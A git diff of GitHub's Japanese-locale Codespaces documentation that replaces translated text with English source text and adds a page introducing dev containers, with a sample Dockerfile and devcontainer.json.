で、開発するコードスペースをクリックします。 -3. [Connect to Codespace] アイコンをクリックします。 +2. Under "Codespaces", click the codespace you want to develop in. +3. Click the Connect to Codespace icon. - ![{% data variables.product.prodname_vscode %} の [Connect to Codespace] アイコン](/assets/images/help/codespaces/click-connect-to-codespace-icon-vscode.png) + ![The Connect to Codespace icon in {% data variables.product.prodname_vscode %}](/assets/images/help/codespaces/click-connect-to-codespace-icon-vscode.png) ## Changing the machine type in {% data variables.product.prodname_vscode %} @@ -82,17 +82,17 @@ You can change the machine type of your codespace at any time. 1. In {% data variables.product.prodname_vscode %}, open the Command Palette (`shift command P` / `shift control P`). 2. Search for and select "Codespaces: Change Machine Type." - ![新しい {% data variables.product.prodname_codespaces %} を作成するためのブランチを検索する](/assets/images/help/codespaces/vscode-change-machine-type-option.png) + ![Searching for a branch to create a new {% data variables.product.prodname_codespaces %}](/assets/images/help/codespaces/vscode-change-machine-type-option.png) 3. Click the codespace that you want to change. - ![新しい {% data variables.product.prodname_codespaces %} を作成するためのブランチを検索する](/assets/images/help/codespaces/vscode-change-machine-choose-repo.png) + ![Searching for a branch to create a new {% data variables.product.prodname_codespaces %}](/assets/images/help/codespaces/vscode-change-machine-choose-repo.png) -4. Choose the machine type you want to use. +4. Choose the machine type you want to use. If the codespace is currently running, a message is displayed asking if you would like to restart and reconnect to your codespace now. Click **Yes** if you want to change the machine type used for this codespace immediately. If you click **No**, or if the codespace is not currently running, the change will take effect the next time the codespace restarts. -## {% data variables.product.prodname_vscode %} で Codespaces を削除する +## Deleting a codespace in {% data variables.product.prodname_vscode %} {% data reusables.codespaces.deleting-a-codespace-in-vscode %} diff --git a/translations/ja-JP/content/codespaces/developing-in-codespaces/using-source-control-in-your-codespace.md b/translations/ja-JP/content/codespaces/developing-in-codespaces/using-source-control-in-your-codespace.md index d110c6c2cf..9840e7b32f 100644 --- a/translations/ja-JP/content/codespaces/developing-in-codespaces/using-source-control-in-your-codespace.md +++ b/translations/ja-JP/content/codespaces/developing-in-codespaces/using-source-control-in-your-codespace.md @@ -1,6 +1,6 @@ --- -title: Codespace でソースコントロールを使用する -intro: Codespace 内のファイルに変更を加えた後、変更をすばやくコミットして、更新をリモートリポジトリにプッシュできます。 +title: Using source control in your codespace +intro: After making changes to a file in your codespace you can quickly commit the changes and push your update to the remote repository. product: '{% data reusables.gated-features.codespaces %}' versions: fpt: '*' @@ -10,68 +10,73 @@ topics: - Codespaces - Fundamentals - Developer -shortTitle: ソースコントロール +shortTitle: Source control --- -## {% data variables.product.prodname_codespaces %} のソースコントロールについて +## About source control in {% data variables.product.prodname_codespaces %} -必要なすべての Git アクションを codespace 内で直接実行できます。 たとえば、リモートリポジトリから変更をフェッチしたり、ブランチを切り替えたり、新しいブランチを作成したり、変更をコミットしてプッシュしたり、プルリクエストを作成したりすることができます。 Codespace 内の統合ターミナルを使用して Git コマンドを入力するか、アイコンとメニューオプションをクリックして最も一般的な Git タスクをすべて完了することができます。 このガイドでは、ソースコントロールにグラフィカルユーザインターフェースを使用する方法について説明します。 +You can perform all the Git actions you need directly within your codespace. For example, you can fetch changes from the remote repository, switch branches, create a new branch, commit and push changes, and create a pull request. You can use the integrated terminal within your codespace to enter Git commands, or you can click icons and menu options to complete all the most common Git tasks. This guide explains how to use the graphical user interface for source control. -{% data variables.product.prodname_github_codespaces %} 内のソースコントロールは、{% data variables.product.prodname_vscode %} と同じワークフローを使用します。 詳しい情報については、{% data variables.product.prodname_vscode %} のドキュメント「[VS Code でバージョン管理を使用する](https://code.visualstudio.com/docs/editor/versioncontrol#_git-support)」を参照してください。 +Source control in {% data variables.product.prodname_github_codespaces %} uses the same workflow as {% data variables.product.prodname_vscode %}. For more information, see the {% data variables.product.prodname_vscode %} documentation "[Using Version Control in VS Code](https://code.visualstudio.com/docs/editor/versioncontrol#_git-support)." -{% data variables.product.prodname_github_codespaces %} を使用してファイルを更新するための一般的なワークフローは次のとおりです。 +A typical workflow for updating a file using {% data variables.product.prodname_github_codespaces %} would be: -* {% data variables.product.prodname_dotcom %} のリポジトリのデフォルトブランチから、codespace を作成します。 「[codespace を作成する](/codespaces/developing-in-codespaces/creating-a-codespace)」を参照してください。 -* Codespace で、作業する新しいブランチを作成します。 -* 変更を加えて保存します。 -* 変更をコミットします。 -* プルリクエストを発行します。 +* From the default branch of your repository on {% data variables.product.prodname_dotcom %}, create a codespace. See "[Creating a codespace](/codespaces/developing-in-codespaces/creating-a-codespace)." +* In your codespace, create a new branch to work on. +* Make your changes and save them. +* Commit the change. +* Raise a pull request. -## ブランチの作成または切り替え +## Creating or switching branches {% data reusables.codespaces.create-or-switch-branch %} {% tip %} -**ヒント**: リモートリポジトリのファイルを変更すると、変更を codespace にプルするまで切り替えたブランチに変更が表示されません。 +**Tip**: If someone has changed a file on the remote repository, in the branch you switched to, you will not see those changes until you pull the changes into your codespace. {% endtip %} -## リモートリポジトリから変更をプルする +## Pulling changes from the remote repository -リモートリポジトリからいつでも codespace に変更をプルできます。 +You can pull changes from the remote repository into your codespace at any time. {% data reusables.codespaces.source-control-display-dark %} -1. サイドバーの上部にある省略記号(**...**) をクリックします。 ![[View] および [More Actions] の省略記号ボタン](/assets/images/help/codespaces/source-control-ellipsis-button.png) -1. ドロップダウンメニューで、[**Pull**] をクリックします。 +1. At the top of the side bar, click the ellipsis (**...**). +![Ellipsis button for View and More Actions](/assets/images/help/codespaces/source-control-ellipsis-button.png) +1. In the drop-down menu, click **Pull**. -If the dev container configuration has been changed since you created the codespace, you can apply the changes by rebuilding the container for the codespace. 詳しい情報については、「[プロジェクトの Codespaces を設定する](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project#applying-changes-to-your-configuration)」を参照してください。 +If the dev container configuration has been changed since you created the codespace, you can apply the changes by rebuilding the container for the codespace. For more information, see "[Introduction to dev containers](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project#applying-changes-to-your-configuration)." -## 新しい変更を自動的にフェッチするように codespace を設定する +## Setting your codespace to automatically fetch new changes -リモートリポジトリに対して行われた新しいコミットの詳細を自動的にフェッチするように codespace を設定できます。 これにより、リポジトリのローカルコピーが古くなっているかどうかを確認できます。古くなっている場合は、新しい変更をプルすることができます。 +You can set your codespace to automatically fetch details of any new commits that have been made to the remote repository. This allows you to see whether your local copy of the repository is out of date, in which case you may choose to pull in the new changes. -フェッチ操作でリモートリポジトリの新しい変更が検出されると、ステータスバーに新しいコミットの数が表示されます。 その後、変更をローカルコピーにプルできます。 +If the fetch operation detects new changes on the remote repository, you'll see the number of new commits in the status bar. You can then pull the changes into your local copy. -1. アクティビティバーの下部にある [**Manage**] ボタンをクリックします。 ![ボタンを管理する](/assets/images/help/codespaces/manage-button.png) -1. メニューで [**Settings**] をクリックします。 -1. [Settings] ページで `autofetch` を検索します。 ![自動フェッチを検索する](/assets/images/help/codespaces/autofetch-search.png) -1. 現在のリポジトリに登録されているすべてのリモートの更新の詳細をフェッチするには、**Git: Autofetch** を `all` に設定します。 ![Git 自動フェッチを有効にする](/assets/images/help/codespaces/autofetch-all.png) -1. 各自動フェッチ間の秒数を変更する場合は、**Git: Autofetch Period** の値を編集します。 +1. Click the **Manage** button at the bottom of the Activity Bar. +![Manage button](/assets/images/help/codespaces/manage-button.png) +1. In the menu, slick **Settings**. +1. On the Settings page, search for: `autofetch`. +![Search for autofetch](/assets/images/help/codespaces/autofetch-search.png) +1. To fetch details of updates for all remotes registered for the current repository, set **Git: Autofetch** to `all`. +![Enable Git autofetch](/assets/images/help/codespaces/autofetch-all.png) +1. If you want to change the number of seconds between each automatic fetch, edit the value of **Git: Autofetch Period**. -## 変更をコミットする +## Committing your changes -{% data reusables.codespaces.source-control-commit-changes %} +{% data reusables.codespaces.source-control-commit-changes %} -## プルリクエストを発行する +## Raising a pull request -{% data reusables.codespaces.source-control-pull-request %} +{% data reusables.codespaces.source-control-pull-request %} -## リモートリポジトリに変更をプッシュする +## Pushing changes to your remote repository -行なった変更はプッシュできます。 それにより、変更がリモートリポジトリの上流ブランチに適用されます。 プルリクエストの作成準備が整っていない場合、または {% data variables.product.prodname_dotcom %} でプルリクエストを作成する場合は、この操作を行うことをお勧めします。 +You can push the changes you've made. This applies those changes to the upstream branch on the remote repository. You might want to do this if you're not yet ready to create a pull request, or if you prefer to create a pull request on {% data variables.product.prodname_dotcom %}. -1. サイドバーの上部にある省略記号(**...**) をクリックします。 ![[View] および [More Actions] の省略記号ボタン](/assets/images/help/codespaces/source-control-ellipsis-button-nochanges.png) -1. ドロップダウンメニューで、[**Push**] をクリックします。 +1. At the top of the side bar, click the ellipsis (**...**). +![Ellipsis button for View and More Actions](/assets/images/help/codespaces/source-control-ellipsis-button-nochanges.png) +1. In the drop-down menu, click **Push**. diff --git a/translations/ja-JP/content/codespaces/managing-codespaces-for-your-organization/enabling-codespaces-for-your-organization.md b/translations/ja-JP/content/codespaces/managing-codespaces-for-your-organization/enabling-codespaces-for-your-organization.md index 40c2f880e1..f534a02538 100644 --- a/translations/ja-JP/content/codespaces/managing-codespaces-for-your-organization/enabling-codespaces-for-your-organization.md +++ b/translations/ja-JP/content/codespaces/managing-codespaces-for-your-organization/enabling-codespaces-for-your-organization.md @@ -1,7 +1,7 @@ --- title: Enabling Codespaces for your organization -shortTitle: Enabling Codespaces -intro: 'Organization 内のどのユーザが {% data variables.product.prodname_codespaces %} を使用できるかを制御できます。' +shortTitle: Enable Codespaces +intro: 'You can control which users in your organization can use {% data variables.product.prodname_codespaces %}.' product: '{% data reusables.gated-features.codespaces %}' permissions: 'To manage user permissions for {% data variables.product.prodname_codespaces %} for an organization, you must be an organization owner.' redirect_from: @@ -19,27 +19,28 @@ topics: ## About enabling {% data variables.product.prodname_codespaces %} for your organization -Organization のオーナーは、Organization 内のどのユーザが Codespaces を作成および使用できるかを制御できます。 +Organization owners can control which users in your organization can create and use codespaces. To use codespaces in your organization, you must do the following: -- Ensure that users have [at least write access](/organizations/managing-access-to-your-organizations-repositories/repository-permission-levels-for-an-organization) to the repositories where they want to use a codespace. +- Ensure that users have [at least write access](/organizations/managing-access-to-your-organizations-repositories/repository-permission-levels-for-an-organization) to the repositories where they want to use a codespace. - [Enable {% data variables.product.prodname_codespaces %} for users in your organization](#configuring-which-users-in-your-organization-can-use-codespaces). You can choose allow {% data variables.product.prodname_codespaces %} for selected users or only for specific users. - [Set a spending limit](/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-codespaces) +- Ensure that your organization does not have an IP address allow list enabled. For more information, see "[Managing allowed IP addresses for your organization](/organizations/keeping-your-organization-secure/managing-allowed-ip-addresses-for-your-organization)." -By default, a codespace can only access the repository from which it was created. Organization 内の Codespaces で、codespace の作者がアクセスできる他の Organization リポジトリにアクセスできるようにする場合は、「[{% data variables.product.prodname_codespaces %} のアクセスとセキュリティを管理する](/codespaces/managing-codespaces-for-your-organization/managing-access-and-security-for-your-organizations-codespaces)」を参照してください。 +By default, a codespace can only access the repository from which it was created. If you want codespaces in your organization to be able to access other organization repositories that the codespace creator can access, see "[Managing access and security for {% data variables.product.prodname_codespaces %}](/codespaces/managing-codespaces-for-your-organization/managing-access-and-security-for-your-organizations-codespaces)." ## Enable {% data variables.product.prodname_codespaces %} for users in your organization {% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} {% data reusables.organizations.click-codespaces %} -1. [User permissions] で、次のいずれかのオプションを選択します。 +1. Under "User permissions", select one of the following options: - * [**Allow for all users**] にすると、Organization のすべてのメンバーが {% data variables.product.prodname_codespaces %} を使用できるようになります。 - * [**Selected users**] にすると、{% data variables.product.prodname_codespaces %} を使用する特定の Organization メンバーを選択できます。 + * **Allow for all users** to allow all your organization members to use {% data variables.product.prodname_codespaces %}. + * **Selected users** to select specific organization members to use {% data variables.product.prodname_codespaces %}. - !["User permissions" のラジオボタン](/assets/images/help/codespaces/organization-user-permission-settings.png) + ![Radio buttons for "User permissions"](/assets/images/help/codespaces/organization-user-permission-settings.png) ## Disabling {% data variables.product.prodname_codespaces %} for your organization @@ -50,6 +51,6 @@ By default, a codespace can only access the repository from which it was created ## Setting a spending limit -{% data reusables.codespaces.codespaces-spending-limit-requirement %} +{% data reusables.codespaces.codespaces-spending-limit-requirement %} -アカウントの利用上限の管理と変更については、「[{% data variables.product.prodname_codespaces %} の利用上限の管理](/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-codespaces)」を参照してください。 +For information on managing and changing your account's spending limit, see "[Managing your spending limit for {% data variables.product.prodname_codespaces %}](/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-codespaces)." diff --git a/translations/ja-JP/content/codespaces/managing-codespaces-for-your-organization/managing-billing-for-codespaces-in-your-organization.md b/translations/ja-JP/content/codespaces/managing-codespaces-for-your-organization/managing-billing-for-codespaces-in-your-organization.md index bd927a4bd7..1df624ccef 100644 --- a/translations/ja-JP/content/codespaces/managing-codespaces-for-your-organization/managing-billing-for-codespaces-in-your-organization.md +++ b/translations/ja-JP/content/codespaces/managing-codespaces-for-your-organization/managing-billing-for-codespaces-in-your-organization.md @@ -1,6 +1,6 @@ --- title: Managing billing for Codespaces in your organization -shortTitle: Managing billing for Codespaces +shortTitle: Manage billing intro: 'You can check your {% data variables.product.prodname_codespaces %} usage and set usage limits.' product: '{% data reusables.gated-features.codespaces %}' permissions: 'To manage billing for Codespaces for an organization, you must be an organization owner or a billing manager.' @@ -13,7 +13,7 @@ topics: - Billing --- -## 概要 +## Overview To learn about pricing for {% data variables.product.prodname_codespaces %}, see "[{% data variables.product.prodname_codespaces %} pricing](/billing/managing-billing-for-github-codespaces/about-billing-for-codespaces#codespaces-pricing)." @@ -23,13 +23,13 @@ To learn about pricing for {% data variables.product.prodname_codespaces %}, see - For users, there is a guide that explains how billing works: ["Understanding billing for Codespaces"](/codespaces/codespaces-reference/understanding-billing-for-codespaces) -## 使用制限 +## Usage limits You can set a usage limit for the codespaces in your organization or repository. This limit is applied to the compute and storage usage for {% data variables.product.prodname_codespaces %}: - + - **Compute minutes:** Compute usage is calculated by the actual number of minutes used by all {% data variables.product.prodname_codespaces %} instances while they are active. These totals are reported to the billing service daily, and is billed monthly. You can set a spending limit for {% data variables.product.prodname_codespaces %} usage in your organization. For more information, see "[Managing spending limits for Codespaces](/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-codespaces)." -- **Storage usage:** For {% data variables.product.prodname_codespaces %} billing purposes, this includes all storage used by all codespaces in your account. This includes all used by the codespaces, such as cloned repositories, configuration files, and extensions, among others. These totals are reported to the billing service daily, and is billed monthly. 月末に、{% data variables.product.prodname_dotcom %}はストレージ使用量を最も近いGBに丸めます。 To check how many compute minutes and storage GB have been used by {% data variables.product.prodname_codespaces %}, see "[Viewing your Codespaces usage"](/billing/managing-billing-for-github-codespaces/viewing-your-codespaces-usage)." +- **Storage usage:** For {% data variables.product.prodname_codespaces %} billing purposes, this includes all storage used by all codespaces in your account. This includes all used by the codespaces, such as cloned repositories, configuration files, and extensions, among others. These totals are reported to the billing service daily, and is billed monthly. At the end of the month, {% data variables.product.prodname_dotcom %} rounds your storage to the nearest MB. To check how many compute minutes and storage GB have been used by {% data variables.product.prodname_codespaces %}, see "[Viewing your Codespaces usage"](/billing/managing-billing-for-github-codespaces/viewing-your-codespaces-usage)." ## Disabling or limiting {% data variables.product.prodname_codespaces %} @@ -39,10 +39,10 @@ You can also limit the individual users who can use {% data variables.product.pr ## Deleting unused codespaces -Your users can delete their codespaces in https://github.com/codespaces and from within Visual Studio Code. To reduce the size of a codespace, users can manually delete files using the terminal or from within Visual Studio Code. +Your users can delete their codespaces in https://github.com/codespaces and from within Visual Studio Code. To reduce the size of a codespace, users can manually delete files using the terminal or from within Visual Studio Code. {% note %} -**注釈:** codespace を作成したユーザだけが削除できます。 現在、Organization のオーナーが Organization 内で作成された Codespaces を削除する方法はありません。 +**Note:** Only the person who created a codespace can delete it. There is currently no way for organization owners to delete codespaces created within their organization. {% endnote %} diff --git a/translations/ja-JP/content/codespaces/managing-codespaces-for-your-organization/managing-repository-access-for-your-organizations-codespaces.md b/translations/ja-JP/content/codespaces/managing-codespaces-for-your-organization/managing-repository-access-for-your-organizations-codespaces.md index 5dd34e69fd..10088f39bd 100644 --- a/translations/ja-JP/content/codespaces/managing-codespaces-for-your-organization/managing-repository-access-for-your-organizations-codespaces.md +++ b/translations/ja-JP/content/codespaces/managing-codespaces-for-your-organization/managing-repository-access-for-your-organizations-codespaces.md @@ -1,7 +1,7 @@ --- title: Managing repository access for your organization's codespaces shortTitle: Repository access -intro: '{% data variables.product.prodname_codespaces %} がアクセスできる Organization 内のリポジトリを管理できます。' +intro: 'You can manage the repositories in your organization that {% data variables.product.prodname_codespaces %} can access.' product: '{% data reusables.gated-features.codespaces %}' permissions: 'To manage access and security for Codespaces for an organization, you must be an organization owner.' versions: @@ -18,16 +18,18 @@ redirect_from: - /codespaces/working-with-your-codespace/managing-access-and-security-for-codespaces --- -デフォルト設定では、Codespace は作成されたリポジトリにのみアクセスできます。 Organization が所有するリポジトリのアクセスとセキュリティを有効にすると、そのリポジトリ用に作成された Codespaces には、Organization が所有する他のすべてのリポジトリへの読み取りおよび書き込みアクセスがあり、codespace の作者にはアクセス権があります。 If you want to restrict the repositories a codespace can access, you can limit it to either the repository where the codespace was created, or to specific repositories. 信頼するリポジトリに対してのみ、アクセスとセキュリティを有効にしてください。 +By default, a codespace can only access the repository where it was created. When you enable access and security for a repository owned by your organization, any codespaces that are created for that repository will also have read permissions to all other repositories the organization owns and the codespace creator has permissions to access. If you want to restrict the repositories a codespace can access, you can limit it to either the repository where the codespace was created, or to specific repositories. You should only enable access and security for repositories you trust. -Organization 内のどのユーザが {% data variables.product.prodname_codespaces %} を使用できるかを管理するには、「[Organization のユーザ権限を管理する](/codespaces/managing-codespaces-for-your-organization/managing-user-permissions-for-your-organization)」を参照してください。 +To manage which users in your organization can use {% data variables.product.prodname_codespaces %}, see "[Managing user permissions for your organization](/codespaces/managing-codespaces-for-your-organization/managing-user-permissions-for-your-organization)." {% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} {% data reusables.organizations.click-codespaces %} -1. [Access and security] で、あなたの Organization の設定を選択します。 ![信頼するリポジトリを管理するラジオボタン](/assets/images/help/settings/codespaces-org-access-and-security-radio-buttons.png) -1. [Selected repositories] を選択した場合、ドロップダウンメニューを選択してから、あなたの Organization が所有するその他のリポジトリにアクセスを許可する、リポジトリのコードスペースをクリックします。 その他のリポジトリにコードスペースによるアクセスを許可したい、すべてのリポジトリについて同じ手順を繰り返します。 ![[Selected repositories]ドロップダウンメニュー](/assets/images/help/settings/codespaces-access-and-security-repository-drop-down.png) +1. Under "Access and security", select the setting you want for your organization. + ![Radio buttons to manage trusted repositories](/assets/images/help/settings/codespaces-org-access-and-security-radio-buttons.png) +1. If you chose "Selected repositories", select the drop-down menu, then click a repository to allow the repository's codespaces to access other repositories owned by your organization. Repeat for all repositories whose codespaces you want to access other repositories. + !["Selected repositories" drop-down menu](/assets/images/help/settings/codespaces-access-and-security-repository-drop-down.png) -## 参考リンク +## Further Reading - "[Managing repository access for your codespaces](/codespaces/managing-your-codespaces/managing-repository-access-for-your-codespaces)" diff --git a/translations/ja-JP/content/codespaces/overview.md b/translations/ja-JP/content/codespaces/overview.md index a1a9d94298..82baf5c9f1 100644 --- a/translations/ja-JP/content/codespaces/overview.md +++ b/translations/ja-JP/content/codespaces/overview.md @@ -1,6 +1,6 @@ --- title: GitHub Codespaces overview -shortTitle: 概要 +shortTitle: Overview product: '{% data reusables.gated-features.codespaces %}' intro: 'This guide introduces {% data variables.product.prodname_codespaces %} and provides details on how it works and how to use it.' allowTitleToDifferFromFilename: true @@ -32,11 +32,11 @@ You can create a codespace from any branch or commit in your repository and begi To customize the runtimes and tools in your codespace, you can create a custom configuration to define an environment (or _dev container_) that is specific for your repository. Using a dev container allows you to specify a Docker environment for development with a well-defined tool and runtime stack that can reference an image, Dockerfile, or docker-compose. This means that anyone using the repository will have the same tools available to them when they create a codespace. -If you don't do any custom configuration, {% data variables.product.prodname_codespaces %} will clone your repository into an environment with the default codespace image that includes many tools, languages, and runtime environments. For more information, see "[Configuring Codespaces for your project](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project)". +If you don't do any custom configuration, {% data variables.product.prodname_codespaces %} will clone your repository into an environment with the default codespace image that includes many tools, languages, and runtime environments. For more information, see "[Introduction to dev containers](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project)". You can also personalize aspects of your codespace environment by using a public [dotfiles](https://dotfiles.github.io/tutorials/) repository and [Settings Sync](https://code.visualstudio.com/docs/editor/settings-sync). Personalization can include shell preferences, additional tools, editor settings, and VS Code extensions. For more information, see "[Customizing your codespace](/codespaces/customizing-your-codespace)". -## {% data variables.product.prodname_codespaces %}の支払いについて +## About billing for {% data variables.product.prodname_codespaces %} For information on pricing, storage, and usage for {% data variables.product.prodname_codespaces %}, see "[Managing billing for {% data variables.product.prodname_codespaces %}](/billing/managing-billing-for-github-codespaces/about-billing-for-codespaces)." diff --git a/translations/ja-JP/content/codespaces/setting-up-your-project-for-codespaces/configuring-codespaces-for-your-project.md b/translations/ja-JP/content/codespaces/setting-up-your-project-for-codespaces/configuring-codespaces-for-your-project.md new file mode 100644 index 0000000000..1b2d962e19 --- /dev/null +++ b/translations/ja-JP/content/codespaces/setting-up-your-project-for-codespaces/configuring-codespaces-for-your-project.md @@ -0,0 +1,173 @@ +--- +title: Introduction to dev containers +intro: 'You can use a `devcontainer.json` file to define a {% data variables.product.prodname_codespaces %} environment for your repository.' +allowTitleToDifferFromFilename: true +permissions: People with write permissions to a repository can create or edit the codespace configuration. +redirect_from: + - /github/developing-online-with-github-codespaces/configuring-github-codespaces-for-your-project + - /codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project + - /github/developing-online-with-codespaces/configuring-codespaces-for-your-project + - /codespaces/customizing-your-codespace/configuring-codespaces-for-your-project +versions: + fpt: '*' + ghec: '*' +type: how_to +topics: + - Codespaces + - Set up + - Fundamentals +product: '{% data reusables.gated-features.codespaces %}' +--- + + + +## About dev containers + +A development container, or dev container, is the environment that {% data variables.product.prodname_codespaces %} uses to provide the tools and runtimes that your project needs for development. If your project does not already have a dev container defined, {% data variables.product.prodname_codespaces %} will use the default configuration, which contains many of the common tools that your team might need for development with your project. For more information, see "[Using the default configuration](#using-the-default-configuration)." + +If you want all users of your project to have a consistent environment that is tailored to your project, you can add a dev container to your repository. You can use a predefined configuration to select a common configuration for various project types with the option to further customize your project or you can create your own custom configuration. For more information, see "[Using a predefined container configuration](#using-a-predefined-container-configuration)" and "[Creating a custom codespace configuration](#creating-a-custom-codespace-configuration)." The option you choose is dependent on the tools, runtimes, dependencies, and workflows that a user might need to be successful with your project. + +{% data variables.product.prodname_codespaces %} allows for customization on a per-project and per-branch basis with a `devcontainer.json` file. This configuration file determines the environment of every new codespace anyone creates for your repository by defining a development container that can include frameworks, tools, extensions, and port forwarding. A Dockerfile can also be used alongside the `devcontainer.json` file in the `.devcontainer` folder to define everything required to create a container image. + +### devcontainer.json + +{% data reusables.codespaces.devcontainer-location %} + +You can use your `devcontainer.json` to set default settings for the entire codespace environment, including the editor, but you can also set editor-specific settings for individual [workspaces](https://code.visualstudio.com/docs/editor/workspaces) in a codespace in a file named `.vscode/settings.json`. + +For information about the settings and properties that you can set in a `devcontainer.json`, see [devcontainer.json reference](https://aka.ms/vscode-remote/devcontainer.json) in the {% data variables.product.prodname_vscode %} documentation. + +### Dockerfile + +A Dockerfile also lives in the `.devcontainer` folder. + +You can add a Dockerfile to your project to define a container image and install software. In the Dockerfile, you can use `FROM` to specify the container image. + +```Dockerfile +FROM mcr.microsoft.com/vscode/devcontainers/javascript-node:0-14 + +# ** [Optional] Uncomment this section to install additional packages. ** +# USER root +# +# RUN apt-get update && export DEBIAN_FRONTEND=noninteractive \ +# && apt-get -y install --no-install-recommends +# +# USER codespace +``` + +You can use the `RUN` instruction to install any software and `&&` to join commands. + +Reference your Dockerfile in your `devcontainer.json` file by using the `dockerfile` property. + +```json +{ + ... + "build": { "dockerfile": "Dockerfile" }, + ... +} +``` + +For more information on using a Dockerfile in a dev container, see [Create a development container](https://code.visualstudio.com/docs/remote/create-dev-container#_dockerfile) in the {% data variables.product.prodname_vscode %} documentation. + +## Using the default configuration + +If you don't define a configuration in your repository, {% data variables.product.prodname_dotcom %} creates a codespace with a base Linux image. The base Linux image includes languages and runtimes like Python, Node.js, JavaScript, TypeScript, C++, Java, .NET, PHP, PowerShell, Go, Ruby, and Rust. It also includes other developer tools and utilities like git, GitHub CLI, yarn, openssh, and vim. To see all the languages, runtimes, and tools that are included use the `devcontainer-info content-url` command inside your codespace terminal and follow the url that the command outputs. + +Alternatively, for more information about everything that is included in the base Linux image, see the latest file in the [`microsoft/vscode-dev-containers`](https://github.com/microsoft/vscode-dev-containers/tree/main/containers/codespaces-linux) repository. + +The default configuration is a good option if you're working on a small project that uses the languages and tools that {% data variables.product.prodname_codespaces %} provides. + + +## Using a predefined container configuration + +Predefined container definitions include a common configuration for a particular project type, and can help you quickly get started with a configuration that already has the appropriate container options, {% data variables.product.prodname_vscode %} settings, and {% data variables.product.prodname_vscode %} extensions that should be installed. + +Using a predefined configuration is a great idea if you need some additional extensibility. You can also start with a predefined configuration and amend it as needed for your project's setup. + +{% data reusables.codespaces.command-palette-container %} +1. Click the definition you want to use. + ![List of predefined container definitions](/assets/images/help/codespaces/predefined-container-definitions-list.png) +1. Follow the prompts to customize your definition. For more information on the options to customize your definition, see "[Adding additional features to your `devcontainer.json` file](#adding-additional-features-to-your-devcontainerjson-file)." +1. Click **OK**. + ![OK button](/assets/images/help/codespaces/prebuilt-container-ok-button.png) +1. To apply the changes, in the bottom right corner of the screen, click **Rebuild now**. For more information about rebuilding your container, see "[Applying changes to your configuration](#applying-changes-to-your-configuration)." + !["Codespaces: Rebuild Container" in the {% data variables.product.prodname_vscode_command_palette %}](/assets/images/help/codespaces/rebuild-prompt.png) + +### Adding additional features to your `devcontainer.json` file + +{% note %} + +**Note:** This feature is in beta and subject to change. + +{% endnote %} + +You can add features to your predefined container configuration to customize which tools are available and extend the functionality of your workspace without creating a custom codespace configuration. For example, you could use a predefined container configuration and add the {% data variables.product.prodname_cli %} as well. You can make these additional features available for your project by adding the features to your `devcontainer.json` file when you set up your container configuration. + +You can add some of the most common features by selecting them when configuring your predefined container. For more information on the available features, see the [script library](https://github.com/microsoft/vscode-dev-containers/tree/main/script-library#scripts) in the `vscode-dev-containers` repository. + +![The select additional features menu during container configuration.](/assets/images/help/codespaces/select-additional-features.png) + +You can also add or remove features outside of the **Add Development Container Configuration Files** workflow. +1. Access the Command Palette (`Shift + Command + P` / `Ctrl + Shift + P`), then start typing "configure". Select **Codespaces: Configure Devcontainer Features**. + ![The Configure Devcontainer Features command in the command palette](/assets/images/help/codespaces/codespaces-configure-features.png) +2. Update your feature selections, then click **OK**. + ![The select additional features menu during container configuration.](/assets/images/help/codespaces/select-additional-features.png) +1. To apply the changes, in the bottom right corner of the screen, click **Rebuild now**. For more information about rebuilding your container, see "[Applying changes to your configuration](#applying-changes-to-your-configuration)." + !["Codespaces: Rebuild Container" in the command palette](/assets/images/help/codespaces/rebuild-prompt.png) + + +## Creating a custom codespace configuration + +If none of the predefined configurations meet your needs, you can create a custom configuration by adding a `devcontainer.json` file. {% data reusables.codespaces.devcontainer-location %} + +In the file, you can use [supported configuration keys](https://code.visualstudio.com/docs/remote/devcontainerjson-reference) to specify aspects of the codespace's environment, like which {% data variables.product.prodname_vscode %} extensions will be installed. + +{% data reusables.codespaces.vscode-settings-order %} + +You can define default editor settings for {% data variables.product.prodname_vscode %} in two places. + +* Editor settings defined in `.vscode/settings.json` are applied as _Workspace_-scoped settings in the codespace. +* Editor settings defined in the `settings` key in `devcontainer.json` are applied as _Remote [Codespaces]_-scoped settings in the codespace. + +After updating the `devcontainer.json` file, you can rebuild the container for your codespace to apply the changes. For more information, see "[Applying changes to your configuration](#applying-changes-to-your-configuration)." + + + +## Applying changes to your configuration + +{% data reusables.codespaces.apply-devcontainer-changes %} + +{% data reusables.codespaces.rebuild-command %} +1. {% data reusables.codespaces.recovery-mode %} Fix the errors in the configuration. + ![Error message about recovery mode](/assets/images/help/codespaces/recovery-mode-error-message.png) + - To diagnose the error by reviewing the creation logs, click **View creation log**. + - To fix the errors identified in the logs, update your `devcontainer.json` file. + - To apply the changes, rebuild your container. diff --git a/translations/ja-JP/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-dotnet-project-for-codespaces.md b/translations/ja-JP/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-dotnet-project-for-codespaces.md index bb53380e11..2109d9c551 100644 --- a/translations/ja-JP/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-dotnet-project-for-codespaces.md +++ b/translations/ja-JP/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-dotnet-project-for-codespaces.md @@ -3,7 +3,7 @@ title: Setting up your C# (.NET) project for Codespaces shortTitle: Setting up your C# (.NET) project allowTitleToDifferFromFilename: true product: '{% data reusables.gated-features.codespaces %}' -intro: 'カスタム開発コンテナを作成して、{% data variables.product.prodname_codespaces %} で C# (.NET) プロジェクトを始めます。' +intro: 'Get started with your C# (.NET) project in {% data variables.product.prodname_codespaces %} by creating a custom dev container.' redirect_from: - /codespaces/getting-started-with-codespaces/getting-started-with-your-dotnet-project versions: @@ -11,129 +11,135 @@ versions: ghec: '*' topics: - Codespaces +hasExperimentalAlternative: true +hidden: true --- -## はじめに +## Introduction -このガイドでは、{% data variables.product.prodname_codespaces %} で C# (.NET) プロジェクトを設定する方法を説明します。 codespace でプロジェクトを開き、テンプレートから開発コンテナ設定を追加および変更する例を紹介します。 